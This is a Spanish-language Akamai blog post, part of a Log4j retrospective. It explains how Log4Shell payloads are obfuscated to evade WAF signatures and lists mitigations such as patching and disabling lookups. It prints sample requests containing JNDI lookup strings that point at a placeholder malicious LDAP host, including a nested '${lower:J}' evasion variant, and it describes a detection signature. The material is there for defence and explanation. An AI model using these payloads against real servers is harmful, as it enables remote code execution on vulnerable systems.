Retrospectiva sobre Log4j, parte 3: Evolución: Cargas y diversificación de ataques
En la segunda parte de esta serie, hablamos acerca de la exfiltración de datos y ejecución remota de código, así como de la superficie de amenazas. A este propósito, quiero analizar lo que hemos descubierto en cuanto a la evolución de los ataques mientras nuestra investigación sigue en curso. (Por ejemplo, en diciembre de 2021, el ingeniero jefe de Akamai, Hidecki Okamoto, descubrió una nueva vulnerabilidad). Al mismo tiempo que supervisamos de manera incesante la situación y ofrecemos protección a nuestros clientes, Akamai es testigo de cómo la amenaza evoluciona en dos direcciones distintas. La primera tiene que ver con las cargas.
Las empresas dependen cada vez más de factores de mitigación, como los firewalls de aplicaciones web (WAF) como sistema de protección. Este tipo de sistemas buscan detectar cadenas de ataque en solicitudes web y eliminan todas las que encuentran. Un ejemplo muy simple y elaborado podría ser descartar cualquier solicitud web que contenga los siguientes siete caracteres adyacentes entre sí:
${jndi:
Eliminaría los siguientes ejemplos basados en web, ya que localizaría la firma resaltada en la solicitud:
GET /${jndi:ldap://rce.malware.ejemplo/a} HTTP/1.1
Host: www.webapp.ejemplo
A primera vista puede parecer una firma adecuada de búsqueda, pero debemos recordar que Log4j permite elaborar construcciones increíblemente complejas y anidadas. Para evitarlo, los atacantes pueden cambiar el ataque de la siguiente forma:
GET /${${lower:J}ndi:ldap://rce.malware.ejemplo/a} HTTP/1.1
Host: www.webapp.ejemplo
En este ejemplo, los siete caracteres adyacentes especiales de antes ( ${jndi: ) ya no están presentes y como resultado, se evitaría completamente la elaborada firma WAF.
Analicemos lo que haría Log4j al detectar la ruta: /${${lower:J}ndi:ldap://rce.malware.ejemplo/a} para funciones de registro.
En primer lugar, expandiría la expresión de búsqueda de ${lower:J} a j, de forma que se generaría la siguiente cadena provisional:
/${jndi:ldap://rce.malware.ejemplo/a}
A continuación, al analizar la expresión de consulta JNDI de ${jndi:ldap://rce.malware.ejemplo/a}, Log4j pasaría la pseudo URL de LDAP ldap://rce.malware.ejemplo/a a JNDI, lo que llevaría al ataque detallado anteriormente.
El resultado sería como jugar al gato y al ratón; los atacantes emplean una construcción de carga hasta que finalmente se bloquea, momento en el que modifican la carga para volver a intentar eludir las comprobaciones de firma hasta que se les vuelva a detectar, y así sucesivamente.
En Akamai, hemos sido testigos de intentos de eludir las comprobaciones mediante la manipulación de cadenas de carga similares y mucho más avanzadas que las anteriores, y a través de métodos menos obvios como codificaciones muy elaboradas de contenido, codificaciones de transferencia, conjuntos de caracteres, etc.
La segunda evolución que hemos detectado es la diversificación de los objetivos y los protocolos de ataque. Tal y como se menciona en la segunda parte, las aplicaciones basadas en web son actualmente el vector de ataque principal, pero estamos asistiendo a un aumento de los ataques a DNS y a otros protocolos menos obvios a medida que se refuerzan los métodos de protección del vector web y la aplicación de parches.
Soluciones y mitigaciones
Dada la magnitud de los diferentes vectores de ataque que se pueden emplear contra esta vulnerabilidad, la única solución real es aplicar parches a todos los sistemas vulnerables. Sin embargo, tal y como se ha mencionado con anterioridad, es posible que no puedan aplicarse parches a algunos sistemas, ya que son sistemas integrados sin método de actualización o aplicaciones comerciales en los que el proveedor no puede intervenir tan rápido como sería deseable.
Otro problema adicional relacionado con los métodos de mitigación es el hecho de que muchas empresas todavía no tienen la visibilidad integral necesaria en sus entornos para saber exactamente qué sistemas son los más vulnerables.
Hemos hablado sobre sistemas de mitigaciones en una publicación anterior tanto en el blog de Akamai como en nuestro blog del equipo Guardicore. A modo de recordatorio, Akamai recomienda adoptar las siguientes medidas:
1. Aplique inmediatamente los parches necesarios a todos los sistemas a los pueda hacerlo.
Esta medida ofrece el nivel más alto de protección. Asegúrese de tener la versión más actualizada de Log4j (2.17.0 en el momento de redactar este artículo).
2. En aquellos sistemas en los que se hayan identificado vulnerabilidades, pero que tenga que actualizar la versión de Log4j, reduzca su superficie de amenazas con los siguientes ajustes siempre que sea posible:
En el caso de la versión 2.10 o posteriores de Log4j, añada “-Dlog4j2.formatMsgNoLookups=true” para que al iniciar la aplicación se desactiven las expresiones de búsqueda.
En Java, asegúrese de configurar los siguientes ajustes en sus sistemas:
com.sun.jndi.ldap.object.trustURLCodebase=false
com.sun.jndi.rmi.object.trustURLCodebase=false
3. Ejecute un WAF, como Kona, la solución líder del mercado de Akamai, en todas sus aplicaciones web para filtrar los intentos de ataque.
Hágalo en los servidores internos y externos.
4. Ejecute un firewall DNS, como Akamai Secure Internet Access Enterprise, para tener visibilidad de las cargas DNS sospechosas que atraviesan su entorno, así como para bloquearlas.
5. Emplee una herramienta para tener visibilidad completa de todo lo que se ejecuta en su entorno, ya sean aplicaciones nativas o en la nube.
Utilice herramientas, como las proporcionadas por Guardicore Segmentation de Akamai, para tener visibilidad de todo lo que se ejecuta en su entorno. El uso de tales herramientas permite localizar las aplicaciones cuyas vulnerabilidades desconoce.
6. Minimice las comunicaciones de las aplicaciones afectadas.
Utilice la segmentación basada en identidades, como la que proporciona Guardicore Segmentation de Akamai, para restringir las aplicaciones con las que pueden comunicarse los sistemas vulnerables.
El futuro
Estas estrategias de mitigación pueden reducir significativamente el riesgo de los sistemas con vulnerabilidades mientras se diseña y ejecuta una estrategia de parches. Hemos visto una perspectiva casi completa hasta ahora; hemos analizado los antecedentes, las vulnerabilidades y las mitigaciones de una vulnerabilidad Log4j. En la Parte 4, terminaremos con un resumen de todo lo que hemos aprendido. No se lo pierda.
